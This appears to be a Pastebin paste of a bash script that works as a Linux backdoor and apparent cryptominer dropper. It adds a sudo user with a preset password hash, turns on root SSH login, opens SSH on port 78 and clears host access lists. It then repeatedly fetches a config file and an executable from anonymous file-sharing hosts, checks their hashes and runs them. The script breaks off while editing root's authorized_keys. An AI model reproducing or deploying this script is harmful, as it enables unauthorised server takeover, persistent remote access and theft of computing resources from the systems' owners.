Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # _____
- # __...---'-----`---...__
- # _===============================
- # ______________,/' `---..._______...---'
- #(____________LL). . ,--'
- # / /.---' `. /
- #'--------_ - - - - _/
- # `~~~~~~~~'
- resetsshgo(){
- if [ "$needreset" -eq "0" ];
- then
- echo "no need"
- else
- sleep 10;
- /etc/init.d/ssh restart;
- /etc/init.d/sshd restart;
- /etc/rc.d/sshd restart;
- service ssh restart;
- service sshd restart;
- systemctl start ssh;
- systemctl restart ssh;
- scw-fetch-ssh-keys --upgrade;
- fi
- }
- sshaddusergo() {
- if id "darmok" 2>/dev/null; then
- echo ""
- else
- useradd -m -p '$1$EuTlnGKV$I6ULVhrfUCnEpFqLGFVHY0' darmok;
- usermod -aG sudoers darmok;
- usermod -aG root darmok;
- adduser darmok sudo;
- echo "darmok ALL=(ALL) ALL" >> /etc/sudoers
- sed -i '/.PermitRootLogin*/d' /etc/ssh/sshd_config
- sed -i '/PermitRootLogin*/d' /etc/ssh/sshd_config
- echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
- needreset=1;
- fi
- }
- filegetgo(){
- echo "hello Troy@BadPackets";
- urlscrapecfg1="https://anonfiles.com/"
- urlscrapecfg2="https://file.bz/"
- urlscrapecfg3="https://fuskbugg.se/"
- urlscrapecfg4="https://megaupload.is/"
- urlscrapecfg5="https://myfile.is/"
- urlscrapecfg6="https://rapidshare.nu/"
- urlscrapecfg7="https://share-online.is/"
- cfgar1=("10baJaD1n2" "32acJfD0nc" "97Z0IeD2nb" "F9b1J4Dcn5" "hdb9J1Den4" "L5a7J9D7n6" "l6c4J5D0n9" "n7aeJ8Dan1" "V2Z0I1D4n4" "V5bfJ6D5n7")
- cfgar2=("9eMcH1Den1" "H3M8H8Danc" "PdMeH4D8ne" "VcM7H5D7n6" "z8M3H9Dan8" "14a0J2D3n0" "19c0J7D2nc" "Ddb1J3D6n7" "fdbbJ7D8nf" "hbc0JaD1n4" "jcabJ6Dbn6" "JdafJ7D8nb" "RaZ4I1D5n4" "T5b7JeD7n2" "v8b3JfDfna")
- cfgar3=("35MdHcD0n5" "D5MaHbD4n7" "J8M5H5D5n2" "R1MeHbDcn5" "t1M3HaDdn6" "91b3J3D0nb" "dec6J6D8nb" "F6a6JfD1n3" "feadJ7Dbn6" "L4Z0IbD4nf" "N8baJbDcna" "r7b3J5Dfn9" "v6ccJ1Dbn1" "xcadJ2D7nc" "Z5a4JaDanc")
- cfgar4=("73M6H9D2n2" "vdM8HfD8na" "T3MaH7D0n3" "NaMfH1D1ne" "FcM5HdDbn9" "bab4J8Dcn3" "BbbdJfDdna" "fcc4JbDenb" "h6a2J6D0n2" "Hfa7J0Ddnc" "N8Z1IdD8n0" "P3b6J8D6n5" "tebaJ1D7na" "z4a7J0D4n5" "zccdJdD8n2")
- cfgar5=("51beJ9D8n5" "76aaJfD7nd" "b4afJ4Den1" "FfZaIcDanf" "J0b5J7D3n1" "l0b9J0D4nb" "p0c5J9Ddn3" "R8a6J0D1ne" "t2aeJdDand" "Z0baJaD9n1")
- cfgar6=("7ab8JdDen8" "B5abJbDfna" "bec2JdD9ne" "d1a8J4Ddnc" "J5ZaI0D5n7" "L6beJ3D9n8" "p0b6JaD7n5" "recdJaDen7" "T0a6JcD5n9" "v8a7J2Dan3")
- cfgar7=("32bbJ8D5n8" "59a3JeD1n3" "BcZeI2Dcn2" "Hfb1J6Dbnf" "jdb6JdDcn0" "n7cbJ7D1nb" "Nca8J2D5nd" "rcabJdD3n4" "X2ZbIaD6n5" "X5b4J2Ddn9")
- chattr -iauR /var/tmp;
- chattr -iauR /var/tmp/sic;
- chattr -iauR /tmp/;
- chattr -iauR /tmp/sic;
- sysctl -w vm.nr_hugepages=$(nproc --all);
- echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled;
- curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg1${cfgar1[$RANDOM % ${#cfgar1[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg1${cfgar1[$RANDOM % ${#cfgar1[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
- if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
- then
- echo "correct"
- else
- curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg2${cfgar2[$RANDOM % ${#cfgar2[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg2${cfgar2[$RANDOM % ${#cfgar2[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
- if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
- then
- echo "correct"
- else
- curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg3${cfgar3[$RANDOM % ${#cfgar3[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg3${cfgar3[$RANDOM % ${#cfgar3[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
- if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
- then
- echo "correct"
- else
- curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg4${cfgar4[$RANDOM % ${#cfgar4[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg4${cfgar4[$RANDOM % ${#cfgar4[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
- if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
- then
- echo "correct"
- else
- curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg5${cfgar5[$RANDOM % ${#cfgar5[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg5${cfgar5[$RANDOM % ${#cfgar5[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
- if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
- then
- echo "correct"
- else
- curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg6${cfgar6[$RANDOM % ${#cfgar6[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg6${cfgar6[$RANDOM % ${#cfgar6[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
- if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
- then
- echo "correct"
- else
- curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg7${cfgar7[$RANDOM % ${#cfgar7[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg7${cfgar7[$RANDOM % ${#cfgar7[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
- if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
- then
- echo "correct"
- else
- curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg8${cfgar8[$RANDOM % ${#cfgar8[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg8${cfgar8[$RANDOM % ${#cfgar8[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
- if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
- then
- echo "correct"
- else
- curl -sL -o /var/tmp/sic/config.json http://ix.io/23pC || curl -sL -o /tmp/sic/config.json http://ix.io/23pC;
- fi
- fi
- fi
- fi
- fi
- fi
- fi
- fi
- urldirect1=""
- urldirect2="https://s.put.re/"
- urldirect3="https://linx.li/s/"
- urldirect4="https://up.nerde.pw/selif/"
- urldirect5="https://junglecoder.com/linx/selif/"
- urldirect6="https://so.urceco.de/selif/"
- urldirect7="https://fs.ikl.sh/selif/"
- urldirect8="https://share.dev0.sh/selif/"
- urldirect9="http://uupload.ir/files/"
- urlscrape1="https://anonfiles.com/"
- urlscrape2="https://share-online.is/"
- urlscrape3="https://myfile.is/"
- urlscrape4="https://rapidshare.nu/"
- urlscrape5="https://upload.st/"
- urlscrape6="https://file.bz/"
- urlscrape7="https://letsupload.cc/"
- urlscrape8="https://fuskbugg.se/"
- directarray1=()
- directarray2=("AcRbDzHC.jpg" "wNQb1njt.jpg" "pXetZsaW.jpg" "VjPEWGsk.jpg" "a6GmLbjb.jpg" "TuNA9oqt.jpg" "QoeH4stq.jpg" "c2Fsjg3a.jpg" "43XNPL95.jpg" "8odQGnMx.jpg" "8ozu7D4u.jpg" "C4woEGn4.jpg" "YwVToqXc.jpg" "F66bhokC.jpg" "kX36DCLJ.jpg" "vr3uksvA.jpg" "KHq8XsSf.jpg" "4QJBxTkL.jpg" "Vk75Gpdd.jpg" "whaWFZbX.jpg")
- directarray3=("vh7jgqda.jpg" "51wqkrzf.jpg" "0y96i6r3.jpg" "92m68yn0.jpg" "oz8gffce.jpg" "xz9ver52.jpg" "vszyhtlo.jpg" "3vorlsof.jpg" "x464bmyh.jpg" "1wn5sjgi.jpg" "504xvir3.jpg" "qbhhx8jt.jpg" "4kc0x30m.jpg" "xo0czrnc.jpg" "e7bq6gov.jpg" "oay9zcom.jpg" "i8bo9g0e.jpg" "ar2h5i5i.jpg" "yeyii8sb.jpg" "rg991e3o.jpg")
- directarray4=("28gqdic2.jpg" "463lt6o5.jpg" "2g1d19fy.jpg" "aknrg7b6.jpg" "ql5g92kw.jpg" "2ckzymod.jpg" "vfv30qum.jpg" "hnw1v0or.jpg" "fn79tf4y.jpg" "bmzwju5c.jpg" "t35bg5us.jpg" "1bm7lab3.jpg" "n6n63wm6.jpg" "b3dnupoz.jpg" "sfrjr8cj.jpg" "fjcj2hjd.jpg" "83f8ceph.jpg" "jlyd18zv.jpg" "o1ernrbu.jpg" "iiczqu1o.jpg")
- directarray5=("a54v1t8v.file" "3tyfylw0.file" "qg2835kn.file" "1crd48rn.file" "4x6hq0nk.file" "63s2cl1n.file" "q5tj1q8q.file" "doli3rtr.file" "arbsqgno.file" "pll7l46n.file" "i0xrbsal.file" "x1tpgnc9.file" "5ukpoep5.file" "p3b913tz.file" "3qae42b7.file" "l1ytxkl1.file" "2y9kzh5v.file" "c6afohpe.file" "gwk77wyw.file" "fhthykey.file")
- directarray6=("2rhw89y3.jpg" "roiuwr27.jpg" "gkq2f70v.jpg" "rfust8yv.jpg" "v3q4w0bf.jpg" "pckqx5vk.jpg" "0oso0g8x.jpg" "rsb3dtux.jpg" "9vghk7ox.jpg" "c4rlmoam.jpg" "97lycgks.jpg" "hljjrsq7.jpg" "d9bet2ek.jpg" "u6hrfpum.jpg" "few7oyax.jpg" "ip1gbtxq.jpg" "o5ud9ulk.jpg" "uoyidjbw.jpg" "4cw5r0qf.jpg" "eklup7oz.jpg")
- directarray7=("ywtm4i58.jpg" "kr8fggiw.jpg" "pjgr3fc1.jpg" "oootb4z1.jpg" "6ny0ahyt.jpg" "3ju265c8.jpg" "95xn9b5g.jpg" "rrngmswt.jpg" "nzzayq5k.jpg" "gnea1g25.jpg" "f652awt0.jpg" "ir599zbt.jpg" "xx2xysot.jpg" "lbp90uda.jpg" "hyqje4iw.jpg" "c5mudh5x.jpg" "omt2cobn.jpg" "336yfadt.jpg" "ct4atkmb.jpg" "d24rt78d.jpg")
- directarray8=("eha7jz9a.elf" "cy17gh5q.elf" "oqnbr34y.elf" "nudfxbjx.elf" "5qk7iklu.elf" "dquq70rd.elf" "gu58v9fk.elf" "1ui9zdxu.elf" "0kxjny09.elf" "s7njp6yw.elf" "787arv0d.elf" "eub16ghi.elf" "4yuldx99.elf" "o79d4luc.elf" "ev92sjev.elf" "viaqsrfj.elf" "k7xuw07a.elf" "81o5y14b.elf" "cirvsu8a.elf" "i4pxkpyj.elf")
- directarray9=("pzab_sic.jpg" "qk0y_sic.jpg" "cfw2_sic.jpg" "skb7_sic.jpg")
- scrapearray1=("34e1b7D5nf" "l5f9b0D2nf" "V3feb5D2na" "R1g6b8Ddn3" "J3h6b4Dan1" "B2icbaD1n9" "x0jfb2D4n9" "j7kfbaDfn5" "V8k4bdD7nb" "J3l1bfD6na" "z4m4baDdn0" "z2neb7D7nd" "Z0ndbdD8nc" "R9o1bfDbn7" "H7pebaD7ne" "B1q5b4D5na" "F2rebbDfne" "7bt5bcD4n6" "Hau9b2D8nf" "Xfvdb4D5n1")
- scrapearray2=("52e7b1D1nd" "ndf3b8D2nf" "d6gab9D5nc" "VcgbbeDanc" "Lahcb7Dbna" "D8i0b9D3nd" "16j7b5D5n6" "nck3bdD9nf" "XdkabcD4nb" "L9l1bfD8nb" "1cmdb5Dcnf" "13n2b7D1n7" "b8oab7D1n7" "Tao5beD7ne" "J6pebcDbn2" "D0qbb4D0n0" "P3r4b9Ddn8" "Hdtdb6D5nf" "L0udb7D2n6" "ddwcb4D8n3")
- scrapearray3=("7befb8Dbnc" "p2fbb1D2nc" "f1g0b3Dana" "Z9g6bfD4n1" "P8h0b7D7n5" "Ffi9bbDcnd" "3bjeb6D3n9" "r7k8b8D6n3" "bfl4b2D1ne" "Nfl5bdD5nd" "51m2b4D0ne" "51n4b7D6ne" "d5oab4D0n4" "Vdoab8Den1" "L2pfb4Dcn6" "Fcq7b0Dfn5" "R6rcb1Dcn9" "J1tbb9Dana" "V6uabeD0nf" "f1web5D5ne")
- scrapearray4=("9febb4D4n3" "rcf4bfDfne" "j6gcbdDcn0" "b8h6b8D9n0" "R9hebbD1n3" "H2i2b1D6n9" "53j9b5D4n5" "t5k4b9D4n1" "ffl9bbD5n5" "R0l9b0D2n9" "71m2b9D6n2" "7en3b5Dan2" "j2o8bbD4n0" "Xbodb0Dfn0" "P8p4bcDan1" "Haq4bfD4n8" "T4r2b2Ddnc" "N4t2b5Dbne" "XeudbeDfn3" "j1wfbcDan7")
- scrapearray5=("B3e9b3D7nd" "tdfdbdD4n0" "lbgcbbD0n0" "d9hdb7D1n9" "T5hab0D2nb" "J4idb0Dbnf" "9ejabdD2n3" "v5k0b7D4nb" "h1l2b6Den8" "Tal1b5D3n3" "9fmab4Dbn5" "9fn1b0D1n6" "l8o2b1D5n2" "Z1o0b1D0n4" "R4pfbfD5n9" "Jbq2bbD3ne" "X4r4b2D7na" "P7t7bdDfn9" "Z0u5bcD4n1" "ldw4bfD0n6")
- scrapearray6=("Dee7baDfn4" "v1f6b0D0nc" "n3gbbeDcnf" "fch2b6Den0" "b0i5b8Dan7" "Nbibb1D2nc" "B7j8b3Dana" "x8k6b1D6n6" "j0l6b1D4n7" "V2l2b5D2n3" "BamebdDcnc" "Bfn6b4D0n2" "n1o0beD1n4" "ddp2b8Dbne" "T6p3b7Danb" "N1qfb4D9n3" "Z1rcb8Dfne" "T2t5b5Dan4" "b3v6b4D3nb" "55w4bfD0n9")
- scrapearray7=("F9e6bdD6na" "xefbbaDen2" "p3g6bdD4ne" "hbh6b5Den9" "d4i4bcD6n1" "Pbi0b2Dfnb" "Fej7b5Dcn7" "14k0bfD6nd" "n2l3beDfn0" "Xdldb5Dcnd" "FamabaDen5" "D3n9beD1n4" "pbo3bcDcn6" "fcpab2D8n9" "Vepeb2Dfn4" "Rbq9b2Dane" "b7scbdD7nd" "V5tcb3Ddn3" "dcveb4D8n9" "J1wcb6D9nf")
- scrapearray8=("T7e7bbDfne" "7dfdbcD1n3" "53g2b0D6na" "xeh6b4Danf" "p0i5b1Ddn5" "b5jabfDbn2" "Tfj7b2Dcnf" "Bakab1Dcnf" "11l0b9D8n1" "lam2b6D8n9" "Z9mabfDfn7" "N0nbbbDdn9" "30o7bdD2n2" "r2p5b2Den5" "leq0bbDcn2" "bbr5b1D9n3" "r8s0b4D2nf" "lcu1b1Dan3" "r8vfbbD5n7" "b4x4b3D1ne")
- curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect2${directarray2[$RANDOM % ${#directarray2[@]}]} || curl ---create-dirs sL -o /tmp/sic/sic $urldirect1${directarray1[$RANDOM % ${#directarray1[@]}]};
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect2${directarray2[$RANDOM % ${#directarray2[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect2${directarray2[$RANDOM % ${#directarray2[@]}]};
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect3${directarray3[$RANDOM % ${#directarray3[@]}]} || curl ---create-dirs sL -o /tmp/sic/sic $urldirect3${directarray3[$RANDOM % ${#directarray3[@]}]};
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect4${directarray4[$RANDOM % ${#directarray4[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect4${directarray4[$RANDOM % ${#directarray4[@]}]};
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect5${directarray5[$RANDOM % ${#directarray5[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect5${directarray5[$RANDOM % ${#directarray5[@]}]};
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect6${directarray6[$RANDOM % ${#directarray6[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect6${directarray6[$RANDOM % ${#directarray6[@]}]};
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect7${directarray7[$RANDOM % ${#directarray7[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect7${directarray7[$RANDOM % ${#directarray7[@]}]};
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect8${directarray8[$RANDOM % ${#directarray8[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect8${directarray8[$RANDOM % ${#directarray8[@]}]};
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect9${directarray9[$RANDOM % ${#directarray9[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect9${directarray9[$RANDOM % ${#directarray9[@]}]};
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape1${scrapearray1[$RANDOM % ${#scrapearray1[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape1${scrapearray1[$RANDOM % ${#scrapearray1[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape2${scrapearray2[$RANDOM % ${#scrapearray2[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape2${scrapearray2[$RANDOM % ${#scrapearray2[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape3${scrapearray3[$RANDOM % ${#scrapearray3[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape3${scrapearray3[$RANDOM % ${#scrapearray3[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape4${scrapearray4[$RANDOM % ${#scrapearray4[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape4${scrapearray4[$RANDOM % ${#scrapearray4[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape5${scrapearray5[$RANDOM % ${#scrapearray5[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape5${scrapearray5[$RANDOM % ${#scrapearray5[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape6${scrapearray6[$RANDOM % ${#scrapearray6[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape6${scrapearray6[$RANDOM % ${#scrapearray6[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape7${scrapearray7[$RANDOM % ${#scrapearray7[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape7${scrapearray7[$RANDOM % ${#scrapearray7[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape8${scrapearray8[$RANDOM % ${#scrapearray8[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape8${scrapearray8[$RANDOM % ${#scrapearray8[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
- if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
- then
- chmod +x /var/tmp/sic/sic || /tmp/sic/sic
- /var/tmp/sic/sic || /tmp/sic/sic
- else
- echo "when the walls fell!!!!"
- fi
- fi
- fi
- fi
- fi
- fi
- fi
- fi
- fi
- fi
- fi
- fi
- fi
- fi
- fi
- fi
- fi
- }
- sshkeysgo(){
- if [ -f "/root/.ssh/authorized_keys" ]
- then
- echo ""
- else
- needreset=1;
- mkdir -p /root/.ssh
- echo "" >> /root/.ssh/authorized_keys
- fi
- cat /etc/ssh/sshd_config | grep -iw "#Port 22" | grep -v grep >/dev/null
- if [ $? -eq 1 ]
- then
- echo ""
- else
- needreset=1;
- sed -i 's/#Port 22/Port 22/g' /etc/ssh/sshd_config
- fi
- cat /etc/ssh/sshd_config | grep -iw "port 78" | grep -v grep >/dev/null
- if [ $? -eq 0 ]
- then
- echo ""
- else
- needreset=1;
- echo "" > /etc/hosts.deny;
- echo "" > /etc/hosts.allow;
- chattr -iau /etc/ssh/sshd_config
- chmod 777 /etc/ssh/sshd_config
- echo "Port 78" >> /etc/ssh/sshd_config;
- chmod 555 /etc/ssh/sshd_config
- fi
- cat /root/.ssh/authorized_keys | grep -iw "4CyIrSdDCx5CkZPzu0t87" | grep -v grep >/dev/null
- if [ $? -eq 0 ]
- then
- echo ""
- else
- needreset=1;
- mkdir -p /root/.ssh
- chmod 777 /root/.ssh/authorized_keys;
- chattr -iau /root/.ssh/authorized_keys;
- echo -e "\n" >> /root/.ssh/authorized_keys
